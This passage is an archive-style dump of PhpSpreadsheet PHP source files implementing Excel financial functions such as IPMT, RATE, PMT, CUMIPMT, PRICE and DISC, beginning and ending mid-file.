0.0) { return ExcelError::NAN(); } return log(($payment * (1 + $rate * $type) / $rate - $futureValue) / ($presentValue + $payment * (1 + $rate * $type) / $rate)) / log(1 + $rate); } return (-$presentValue - $futureValue) / $payment; } } phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/CashFlow/Constant/Periodic/Interest.php000064400000022237151676714400030663 0ustar00phpoffice<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial\CashFlow\Constant\Periodic; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Financial\CashFlow\CashFlowValidations; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Constants as FinancialConstants; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Interest { private const FINANCIAL_MAX_ITERATIONS = 128; private const FINANCIAL_PRECISION = 1.0e-08; /** * IPMT. * * Returns the interest payment for a given period for an investment based on periodic, constant payments * and a constant interest rate. * * Excel Function: * IPMT(rate,per,nper,pv[,fv][,type]) * * @param mixed $interestRate Interest rate per period * @param mixed $period Period for which we want to find the interest * @param mixed $numberOfPeriods Number of periods * @param mixed $presentValue Present Value * @param mixed $futureValue Future Value * @param mixed $type Payment type: 0 = at the end of each period, 1 = at the beginning of each period */ public static function payment( mixed $interestRate, mixed $period, mixed $numberOfPeriods, mixed $presentValue, mixed $futureValue = 0, mixed $type = FinancialConstants::PAYMENT_END_OF_PERIOD ): string|float { $interestRate = Functions::flattenSingleValue($interestRate); $period = Functions::flattenSingleValue($period); $numberOfPeriods = Functions::flattenSingleValue($numberOfPeriods); $presentValue = Functions::flattenSingleValue($presentValue); $futureValue = ($futureValue === null) ? 0.0 : Functions::flattenSingleValue($futureValue); $type = ($type === null) ? FinancialConstants::PAYMENT_END_OF_PERIOD : Functions::flattenSingleValue($type); try { $interestRate = CashFlowValidations::validateRate($interestRate); $period = CashFlowValidations::validateInt($period); $numberOfPeriods = CashFlowValidations::validateInt($numberOfPeriods); $presentValue = CashFlowValidations::validatePresentValue($presentValue); $futureValue = CashFlowValidations::validateFutureValue($futureValue); $type = CashFlowValidations::validatePeriodType($type); } catch (Exception $e) { return $e->getMessage(); } // Validate parameters if ($period <= 0 || $period > $numberOfPeriods) { return ExcelError::NAN(); } // Calculate $interestAndPrincipal = new InterestAndPrincipal( $interestRate, $period, $numberOfPeriods, $presentValue, $futureValue, $type ); return $interestAndPrincipal->interest(); } /** * ISPMT. * * Returns the interest payment for an investment based on an interest rate and a constant payment schedule. * * Excel Function: * =ISPMT(interest_rate, period, number_payments, pv) * * @param mixed $interestRate is the interest rate for the investment * @param mixed $period is the period to calculate the interest rate. It must be betweeen 1 and number_payments. * @param mixed $numberOfPeriods is the number of payments for the annuity * @param mixed $principleRemaining is the loan amount or present value of the payments */ public static function schedulePayment(mixed $interestRate, mixed $period, mixed $numberOfPeriods, mixed $principleRemaining): string|float { $interestRate = Functions::flattenSingleValue($interestRate); $period = Functions::flattenSingleValue($period); $numberOfPeriods = Functions::flattenSingleValue($numberOfPeriods); $principleRemaining = Functions::flattenSingleValue($principleRemaining); try { $interestRate = CashFlowValidations::validateRate($interestRate); $period = CashFlowValidations::validateInt($period); $numberOfPeriods = CashFlowValidations::validateInt($numberOfPeriods); $principleRemaining = CashFlowValidations::validateFloat($principleRemaining); } catch (Exception $e) { return $e->getMessage(); } // Validate parameters if ($period <= 0 || $period > $numberOfPeriods) { return ExcelError::NAN(); } // Return value $returnValue = 0; // Calculate $principlePayment = ($principleRemaining * 1.0) / ($numberOfPeriods * 1.0); for ($i = 0; $i <= $period; ++$i) { $returnValue = $interestRate * $principleRemaining * -1; $principleRemaining -= $principlePayment; // principle needs to be 0 after the last payment, don't let floating point screw it up if ($i == $numberOfPeriods) { $returnValue = 0.0; } } return $returnValue; } /** * RATE. * * Returns the interest rate per period of an annuity. * RATE is calculated by iteration and can have zero or more solutions. * If the successive results of RATE do not converge to within 0.0000001 after 20 iterations, * RATE returns the #NUM! error value. * * Excel Function: * RATE(nper,pmt,pv[,fv[,type[,guess]]]) * * @param mixed $numberOfPeriods The total number of payment periods in an annuity * @param mixed $payment The payment made each period and cannot change over the life of the annuity. * Typically, pmt includes principal and interest but no other fees or taxes. * @param mixed $presentValue The present value - the total amount that a series of future payments is worth now * @param mixed $futureValue The future value, or a cash balance you want to attain after the last payment is made. * If fv is omitted, it is assumed to be 0 (the future value of a loan, * for example, is 0). * @param mixed $type A number 0 or 1 and indicates when payments are due: * 0 or omitted At the end of the period. * 1 At the beginning of the period. * @param mixed $guess Your guess for what the rate will be. * If you omit guess, it is assumed to be 10 percent. */ public static function rate( mixed $numberOfPeriods, mixed $payment, mixed $presentValue, mixed $futureValue = 0.0, mixed $type = FinancialConstants::PAYMENT_END_OF_PERIOD, mixed $guess = 0.1 ): string|float { $numberOfPeriods = Functions::flattenSingleValue($numberOfPeriods); $payment = Functions::flattenSingleValue($payment); $presentValue = Functions::flattenSingleValue($presentValue); $futureValue = ($futureValue === null) ? 0.0 : Functions::flattenSingleValue($futureValue); $type = ($type === null) ? FinancialConstants::PAYMENT_END_OF_PERIOD : Functions::flattenSingleValue($type); $guess = ($guess === null) ? 0.1 : Functions::flattenSingleValue($guess); try { $numberOfPeriods = CashFlowValidations::validateInt($numberOfPeriods); $payment = CashFlowValidations::validateFloat($payment); $presentValue = CashFlowValidations::validatePresentValue($presentValue); $futureValue = CashFlowValidations::validateFutureValue($futureValue); $type = CashFlowValidations::validatePeriodType($type); $guess = CashFlowValidations::validateFloat($guess); } catch (Exception $e) { return $e->getMessage(); } $rate = $guess; // rest of code adapted from python/numpy $close = false; $iter = 0; while (!$close && $iter < self::FINANCIAL_MAX_ITERATIONS) { $nextdiff = self::rateNextGuess($rate, $numberOfPeriods, $payment, $presentValue, $futureValue, $type); if (!is_numeric($nextdiff)) { break; } $rate1 = $rate - $nextdiff; $close = abs($rate1 - $rate) < self::FINANCIAL_PRECISION; ++$iter; $rate = $rate1; } return $close ? $rate : ExcelError::NAN(); } private static function rateNextGuess(float $rate, int $numberOfPeriods, float $payment, float $presentValue, float $futureValue, int $type): string|float { if ($rate == 0.0) { return ExcelError::NAN(); } $tt1 = ($rate + 1) ** $numberOfPeriods; $tt2 = ($rate + 1) ** ($numberOfPeriods - 1); $numerator = $futureValue + $tt1 * $presentValue + $payment * ($tt1 - 1) * ($rate * $type + 1) / $rate; $denominator = $numberOfPeriods * $tt2 * $presentValue - $payment * ($tt1 - 1) * ($rate * $type + 1) / ($rate * $rate) + $numberOfPeriods * $payment * $tt2 * ($rate * $type + 1) / $rate + $payment * ($tt1 - 1) * $type / $rate; if ($denominator == 0) { return ExcelError::NAN(); } return $numerator / $denominator; } } phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/CashFlow/Constant/Periodic/Payments.php000064400000011461151676714400030663 0ustar00phpoffice<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial\CashFlow\Constant\Periodic; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Financial\CashFlow\CashFlowValidations; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Constants as FinancialConstants; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Payments { /** * PMT. * * Returns the constant payment (annuity) for a cash flow with a constant interest rate. * * @param mixed $interestRate Interest rate per period * @param mixed $numberOfPeriods Number of periods * @param mixed $presentValue Present Value * @param mixed $futureValue Future Value * @param mixed $type Payment type: 0 = at the end of each period, 1 = at the beginning of each period * * @return float|string Result, or a string containing an error */ public static function annuity( mixed $interestRate, mixed $numberOfPeriods, mixed $presentValue, mixed $futureValue = 0, mixed $type = FinancialConstants::PAYMENT_END_OF_PERIOD ): string|float { $interestRate = Functions::flattenSingleValue($interestRate); $numberOfPeriods = Functions::flattenSingleValue($numberOfPeriods); $presentValue = Functions::flattenSingleValue($presentValue); $futureValue = ($futureValue === null) ? 0.0 : Functions::flattenSingleValue($futureValue); $type = ($type === null) ? FinancialConstants::PAYMENT_END_OF_PERIOD : Functions::flattenSingleValue($type); try { $interestRate = CashFlowValidations::validateRate($interestRate); $numberOfPeriods = CashFlowValidations::validateInt($numberOfPeriods); $presentValue = CashFlowValidations::validatePresentValue($presentValue); $futureValue = CashFlowValidations::validateFutureValue($futureValue); $type = CashFlowValidations::validatePeriodType($type); } catch (Exception $e) { return $e->getMessage(); } // Calculate if ($interestRate != 0.0) { return (-$futureValue - $presentValue * (1 + $interestRate) ** $numberOfPeriods) / (1 + $interestRate * $type) / (((1 + $interestRate) ** $numberOfPeriods - 1) / $interestRate); } return (-$presentValue - $futureValue) / $numberOfPeriods; } /** * PPMT. * * Returns the interest payment for a given period for an investment based on periodic, constant payments * and a constant interest rate. * * @param mixed $interestRate Interest rate per period * @param mixed $period Period for which we want to find the interest * @param mixed $numberOfPeriods Number of periods * @param mixed $presentValue Present Value * @param mixed $futureValue Future Value * @param mixed $type Payment type: 0 = at the end of each period, 1 = at the beginning of each period * * @return float|string Result, or a string containing an error */ public static function interestPayment( mixed $interestRate, mixed $period, mixed $numberOfPeriods, mixed $presentValue, mixed $futureValue = 0, mixed $type = FinancialConstants::PAYMENT_END_OF_PERIOD ): string|float { $interestRate = Functions::flattenSingleValue($interestRate); $period = Functions::flattenSingleValue($period); $numberOfPeriods = Functions::flattenSingleValue($numberOfPeriods); $presentValue = Functions::flattenSingleValue($presentValue); $futureValue = ($futureValue === null) ? 0.0 : Functions::flattenSingleValue($futureValue); $type = ($type === null) ? FinancialConstants::PAYMENT_END_OF_PERIOD : Functions::flattenSingleValue($type); try { $interestRate = CashFlowValidations::validateRate($interestRate); $period = CashFlowValidations::validateInt($period); $numberOfPeriods = CashFlowValidations::validateInt($numberOfPeriods); $presentValue = CashFlowValidations::validatePresentValue($presentValue); $futureValue = CashFlowValidations::validateFutureValue($futureValue); $type = CashFlowValidations::validatePeriodType($type); } catch (Exception $e) { return $e->getMessage(); } // Validate parameters if ($period <= 0 || $period > $numberOfPeriods) { return ExcelError::NAN(); } // Calculate $interestAndPrincipal = new InterestAndPrincipal( $interestRate, $period, $numberOfPeriods, $presentValue, $futureValue, $type ); return $interestAndPrincipal->principal(); } } src/PhpSpreadsheet/Calculation/Financial/CashFlow/Constant/Periodic/InterestAndPrincipal.php000064400000002314151676714400033142 0ustar00phpoffice/phpspreadsheet<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial\CashFlow\Constant\Periodic; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Constants as FinancialConstants; class InterestAndPrincipal { protected float $interest; protected float $principal; public function __construct( float $rate = 0.0, int $period = 0, int $numberOfPeriods = 0, float $presentValue = 0, float $futureValue = 0, int $type = FinancialConstants::PAYMENT_END_OF_PERIOD ) { $payment = Payments::annuity($rate, $numberOfPeriods, $presentValue, $futureValue, $type); $capital = $presentValue; $interest = 0.0; $principal = 0.0; for ($i = 1; $i <= $period; ++$i) { $interest = ($type === FinancialConstants::PAYMENT_BEGINNING_OF_PERIOD && $i == 1) ? 0 : -$capital * $rate; $principal = (float) $payment - $interest; $capital += $principal; } $this->interest = $interest; $this->principal = $principal; } public function interest(): float { return $this->interest; } public function principal(): float { return $this->principal; } } phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/CashFlow/Constant/Periodic/Cumulative.php000064400000012267151676714400031206 0ustar00phpoffice<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial\CashFlow\Constant\Periodic; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Financial\CashFlow\CashFlowValidations; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Constants as FinancialConstants; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Cumulative { /** * CUMIPMT. * * Returns the cumulative interest paid on a loan between the start and end periods. * * Excel Function: * CUMIPMT(rate,nper,pv,start,end[,type]) * * @param mixed $rate The Interest rate * @param mixed $periods The total number of payment periods * @param mixed $presentValue Present Value * @param mixed $start The first period in the calculation. * Payment periods are numbered beginning with 1. * @param mixed $end the last period in the calculation * @param mixed $type A number 0 or 1 and indicates when payments are due: * 0 or omitted At the end of the period. * 1 At the beginning of the period. */ public static function interest( mixed $rate, mixed $periods, mixed $presentValue, mixed $start, mixed $end, mixed $type = FinancialConstants::PAYMENT_END_OF_PERIOD ): string|float|int { $rate = Functions::flattenSingleValue($rate); $periods = Functions::flattenSingleValue($periods); $presentValue = Functions::flattenSingleValue($presentValue); $start = Functions::flattenSingleValue($start); $end = Functions::flattenSingleValue($end); $type = ($type === null) ? FinancialConstants::PAYMENT_END_OF_PERIOD : Functions::flattenSingleValue($type); try { $rate = CashFlowValidations::validateRate($rate); $periods = CashFlowValidations::validateInt($periods); $presentValue = CashFlowValidations::validatePresentValue($presentValue); $start = CashFlowValidations::validateInt($start); $end = CashFlowValidations::validateInt($end); $type = CashFlowValidations::validatePeriodType($type); } catch (Exception $e) { return $e->getMessage(); } // Validate parameters if ($start < 1 || $start > $end) { return ExcelError::NAN(); } // Calculate $interest = 0; for ($per = $start; $per <= $end; ++$per) { $ipmt = Interest::payment($rate, $per, $periods, $presentValue, 0, $type); if (is_string($ipmt)) { return $ipmt; } $interest += $ipmt; } return $interest; } /** * CUMPRINC. * * Returns the cumulative principal paid on a loan between the start and end periods. * * Excel Function: * CUMPRINC(rate,nper,pv,start,end[,type]) * * @param mixed $rate The Interest rate * @param mixed $periods The total number of payment periods as an integer * @param mixed $presentValue Present Value * @param mixed $start The first period in the calculation. * Payment periods are numbered beginning with 1. * @param mixed $end the last period in the calculation * @param mixed $type A number 0 or 1 and indicates when payments are due: * 0 or omitted At the end of the period. * 1 At the beginning of the period. */ public static function principal( mixed $rate, mixed $periods, mixed $presentValue, mixed $start, mixed $end, mixed $type = FinancialConstants::PAYMENT_END_OF_PERIOD ): string|float|int { $rate = Functions::flattenSingleValue($rate); $periods = Functions::flattenSingleValue($periods); $presentValue = Functions::flattenSingleValue($presentValue); $start = Functions::flattenSingleValue($start); $end = Functions::flattenSingleValue($end); $type = ($type === null) ? FinancialConstants::PAYMENT_END_OF_PERIOD : Functions::flattenSingleValue($type); try { $rate = CashFlowValidations::validateRate($rate); $periods = CashFlowValidations::validateInt($periods); $presentValue = CashFlowValidations::validatePresentValue($presentValue); $start = CashFlowValidations::validateInt($start); $end = CashFlowValidations::validateInt($end); $type = CashFlowValidations::validatePeriodType($type); } catch (Exception $e) { return $e->getMessage(); } // Validate parameters if ($start < 1 || $start > $end) { return ExcelError::VALUE(); } // Calculate $principal = 0; for ($per = $start; $per <= $end; ++$per) { $ppmt = Payments::interestPayment($rate, $per, $periods, $presentValue, 0, $type); if (is_string($ppmt)) { return $ppmt; } $principal += $ppmt; } return $principal; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/Helpers.php000064400000004010151676714400023477 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial; use DateTimeInterface; use PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Constants as FinancialConstants; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Helpers { /** * daysPerYear. * * Returns the number of days in a specified year, as defined by the "basis" value * * @param int|string $year The year against which we're testing * @param int|string $basis The type of day count: * 0 or omitted US (NASD) 360 * 1 Actual (365 or 366 in a leap year) * 2 360 * 3 365 * 4 European 360 * * @return int|string Result, or a string containing an error */ public static function daysPerYear($year, $basis = 0): string|int { if (!is_numeric($basis)) { return ExcelError::NAN(); } switch ($basis) { case FinancialConstants::BASIS_DAYS_PER_YEAR_NASD: case FinancialConstants::BASIS_DAYS_PER_YEAR_360: case FinancialConstants::BASIS_DAYS_PER_YEAR_360_EUROPEAN: return 360; case FinancialConstants::BASIS_DAYS_PER_YEAR_365: return 365; case FinancialConstants::BASIS_DAYS_PER_YEAR_ACTUAL: return (DateTimeExcel\Helpers::isLeapYear($year)) ? 366 : 365; } return ExcelError::NAN(); } /** * isLastDayOfMonth. * * Returns a boolean TRUE/FALSE indicating if this date is the last date of the month * * @param DateTimeInterface $date The date for testing */ public static function isLastDayOfMonth(DateTimeInterface $date): bool { return $date->format('d') === $date->format('t'); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/Securities/Price.php000064400000031774151676714400025277 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial\Securities; use PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Constants as FinancialConstants; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Coupons; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Helpers; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Price { /** * PRICE. * * Returns the price per $100 face value of a security that pays periodic interest. * * @param mixed $settlement The security's settlement date. * The security settlement date is the date after the issue date when the security * is traded to the buyer. * @param mixed $maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed $rate the security's annual coupon rate * @param mixed $yield the security's annual yield * @param mixed $redemption The number of coupon payments per year. * For annual payments, frequency = 1; * for semiannual, frequency = 2; * for quarterly, frequency = 4. * @param mixed $basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * * @return float|string Result, or a string containing an error */ public static function price( mixed $settlement, mixed $maturity, mixed $rate, mixed $yield, mixed $redemption, mixed $frequency, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ): string|float { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $rate = Functions::flattenSingleValue($rate); $yield = Functions::flattenSingleValue($yield); $redemption = Functions::flattenSingleValue($redemption); $frequency = Functions::flattenSingleValue($frequency); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $settlement = SecurityValidations::validateSettlementDate($settlement); $maturity = SecurityValidations::validateMaturityDate($maturity); SecurityValidations::validateSecurityPeriod($settlement, $maturity); $rate = SecurityValidations::validateRate($rate); $yield = SecurityValidations::validateYield($yield); $redemption = SecurityValidations::validateRedemption($redemption); $frequency = SecurityValidations::validateFrequency($frequency); $basis = SecurityValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } $dsc = (float) Coupons::COUPDAYSNC($settlement, $maturity, $frequency, $basis); $e = (float) Coupons::COUPDAYS($settlement, $maturity, $frequency, $basis); $n = (int) Coupons::COUPNUM($settlement, $maturity, $frequency, $basis); $a = (float) Coupons::COUPDAYBS($settlement, $maturity, $frequency, $basis); $baseYF = 1.0 + ($yield / $frequency); $rfp = 100 * ($rate / $frequency); $de = $dsc / $e; $result = $redemption / $baseYF ** (--$n + $de); for ($k = 0; $k <= $n; ++$k) { $result += $rfp / ($baseYF ** ($k + $de)); } $result -= $rfp * ($a / $e); return $result; } /** * PRICEDISC. * * Returns the price per $100 face value of a discounted security. * * @param mixed $settlement The security's settlement date. * The security settlement date is the date after the issue date when the security * is traded to the buyer. * @param mixed $maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed $discount The security's discount rate * @param mixed $redemption The security's redemption value per $100 face value * @param mixed $basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * * @return float|string Result, or a string containing an error */ public static function priceDiscounted( mixed $settlement, mixed $maturity, mixed $discount, mixed $redemption, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ) { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $discount = Functions::flattenSingleValue($discount); $redemption = Functions::flattenSingleValue($redemption); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $settlement = SecurityValidations::validateSettlementDate($settlement); $maturity = SecurityValidations::validateMaturityDate($maturity); SecurityValidations::validateSecurityPeriod($settlement, $maturity); $discount = SecurityValidations::validateDiscount($discount); $redemption = SecurityValidations::validateRedemption($redemption); $basis = SecurityValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } $daysBetweenSettlementAndMaturity = Functions::scalar(DateTimeExcel\YearFrac::fraction($settlement, $maturity, $basis)); if (!is_numeric($daysBetweenSettlementAndMaturity)) { // return date error return $daysBetweenSettlementAndMaturity; } return $redemption * (1 - $discount * $daysBetweenSettlementAndMaturity); } /** * PRICEMAT. * * Returns the price per $100 face value of a security that pays interest at maturity. * * @param mixed $settlement The security's settlement date. * The security's settlement date is the date after the issue date when the * security is traded to the buyer. * @param mixed $maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed $issue The security's issue date * @param mixed $rate The security's interest rate at date of issue * @param mixed $yield The security's annual yield * @param mixed $basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * * @return float|string Result, or a string containing an error */ public static function priceAtMaturity( mixed $settlement, mixed $maturity, mixed $issue, mixed $rate, mixed $yield, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ) { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $issue = Functions::flattenSingleValue($issue); $rate = Functions::flattenSingleValue($rate); $yield = Functions::flattenSingleValue($yield); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $settlement = SecurityValidations::validateSettlementDate($settlement); $maturity = SecurityValidations::validateMaturityDate($maturity); SecurityValidations::validateSecurityPeriod($settlement, $maturity); $issue = SecurityValidations::validateIssueDate($issue); $rate = SecurityValidations::validateRate($rate); $yield = SecurityValidations::validateYield($yield); $basis = SecurityValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } $daysPerYear = Helpers::daysPerYear(Functions::scalar(DateTimeExcel\DateParts::year($settlement)), $basis); if (!is_numeric($daysPerYear)) { return $daysPerYear; } $daysBetweenIssueAndSettlement = Functions::scalar(DateTimeExcel\YearFrac::fraction($issue, $settlement, $basis)); if (!is_numeric($daysBetweenIssueAndSettlement)) { // return date error return $daysBetweenIssueAndSettlement; } $daysBetweenIssueAndSettlement *= $daysPerYear; $daysBetweenIssueAndMaturity = Functions::scalar(DateTimeExcel\YearFrac::fraction($issue, $maturity, $basis)); if (!is_numeric($daysBetweenIssueAndMaturity)) { // return date error return $daysBetweenIssueAndMaturity; } $daysBetweenIssueAndMaturity *= $daysPerYear; $daysBetweenSettlementAndMaturity = Functions::scalar(DateTimeExcel\YearFrac::fraction($settlement, $maturity, $basis)); if (!is_numeric($daysBetweenSettlementAndMaturity)) { // return date error return $daysBetweenSettlementAndMaturity; } $daysBetweenSettlementAndMaturity *= $daysPerYear; return (100 + (($daysBetweenIssueAndMaturity / $daysPerYear) * $rate * 100)) / (1 + (($daysBetweenSettlementAndMaturity / $daysPerYear) * $yield)) - (($daysBetweenIssueAndSettlement / $daysPerYear) * $rate * 100); } /** * RECEIVED. * * Returns the amount received at maturity for a fully invested Security. * * @param mixed $settlement The security's settlement date. * The security settlement date is the date after the issue date when the security * is traded to the buyer. * @param mixed $maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed $investment The amount invested in the security * @param mixed $discount The security's discount rate * @param mixed $basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * * @return float|string Result, or a string containing an error */ public static function received( mixed $settlement, mixed $maturity, mixed $investment, mixed $discount, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ) { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $investment = Functions::flattenSingleValue($investment); $discount = Functions::flattenSingleValue($discount); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $settlement = SecurityValidations::validateSettlementDate($settlement); $maturity = SecurityValidations::validateMaturityDate($maturity); SecurityValidations::validateSecurityPeriod($settlement, $maturity); $investment = SecurityValidations::validateFloat($investment); $discount = SecurityValidations::validateDiscount($discount); $basis = SecurityValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } if ($investment <= 0) { return ExcelError::NAN(); } $daysBetweenSettlementAndMaturity = DateTimeExcel\YearFrac::fraction($settlement, $maturity, $basis); if (!is_numeric($daysBetweenSettlementAndMaturity)) { // return date error return Functions::scalar($daysBetweenSettlementAndMaturity); } return $investment / (1 - ($discount * $daysBetweenSettlementAndMaturity)); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/Securities/Rates.php000064400000013415151676714400025303 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial\Securities; use PhpOffice\PhpSpreadsheet\Calculation\DateTimeExcel; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Financial\Constants as FinancialConstants; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Rates { /** * DISC. * * Returns the discount rate for a security. * * Excel Function: * DISC(settlement,maturity,price,redemption[,basis]) * * @param mixed $settlement The security's settlement date. * The security settlement date is the date after the issue * date when the security is traded to the buyer. * @param mixed $maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed $price The security's price per $100 face value * @param mixed $redemption The security's redemption value per $100 face value * @param mixed $basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 */ public static function discount( mixed $settlement, mixed $maturity, mixed $price, mixed $redemption, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ): float|string { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $price = Functions::flattenSingleValue($price); $redemption = Functions::flattenSingleValue($redemption); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $settlement = SecurityValidations::validateSettlementDate($settlement); $maturity = SecurityValidations::validateMaturityDate($maturity); SecurityValidations::validateSecurityPeriod($settlement, $maturity); $price = SecurityValidations::validatePrice($price); $redemption = SecurityValidations::validateRedemption($redemption); $basis = SecurityValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } if ($price <= 0.0) { return ExcelError::NAN(); } $daysBetweenSettlementAndMaturity = Functions::scalar(DateTimeExcel\YearFrac::fraction($settlement, $maturity, $basis)); if (!is_numeric($daysBetweenSettlementAndMaturity)) { // return date error return $daysBetweenSettlementAndMaturity; } return (1 - $price / $redemption) / $daysBetweenSettlementAndMaturity; } /** * INTRATE. * * Returns the interest rate for a fully invested security. * * Excel Function: * INTRATE(settlement,maturity,investment,redemption[,basis]) * * @param mixed $settlement The security's settlement date. * The security settlement date is the date after the issue date when the security * is traded to the buyer. * @param mixed $maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed $investment the amount invested in the security * @param mixed $redemption the amount to be received at maturity * @param mixed $basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 */ public static function interest( mixed $settlement, mixed $maturity, mixed $investment, mixed $redemption, mixed $basis = FinancialConstants::BASIS_DAYS_PER_YEAR_NASD ): float|string { $settlement = Functions::flattenSingleValue($settlement); $maturity = Functions::flattenSingleValue($maturity); $investment = Functions::flattenSingleValue($investment); $redemption = Functions::flattenSingleValue($redemption); $basis = ($basis === null) ? FinancialConstants::BASIS_DAYS_PER_YEAR_NASD : Functions::flattenSingleValue($basis); try { $settlement = SecurityValidations::validateSettlementDate($settlement); $maturity = SecurityValidations::validateMaturityDate($maturity); SecurityValidations::validateSecurityPeriod($settlement, $maturity); $investment = SecurityValidations::validateFloat($investment); $redemption = SecurityValidations::validateRedemption($redemption); $basis = SecurityValidations::validateBasis($basis); } catch (Exception $e) { return $e->getMessage(); } if ($investment <= 0) { return ExcelError::NAN(); } $daysBetweenSettlementAndMaturity = Functions::scalar(DateTimeExcel\YearFrac::fraction($settlement, $maturity, $basis)); if (!is_numeric($daysBetweenSettlementAndMaturity)) { // return date error return $daysBetweenSettlementAndMaturity; } return (($redemption / $investment) - 1) / ($daysBetweenSettlementAndMaturity); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/Securities/SecurityValidations.php000064400000001631151676714400030227 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial\Securities; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Financial\FinancialValidations; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class SecurityValidations extends FinancialValidations { public static function validateIssueDate(mixed $issue): float { return self::validateDate($issue); } public static function validateSecurityPeriod(mixed $settlement, mixed $maturity): void { if ($settlement >= $maturity) { throw new Exception(ExcelError::NAN()); } } public static function validateRedemption(mixed $redemption): float { $redemption = self::validateFloat($redemption); if ($redemption <= 0.0) { throw new Exception(ExcelError::NAN()); } return $redemption; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Financial/Securities/AccruedInterest.php000064400000015343151676714400027313 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Financial\Securities; use 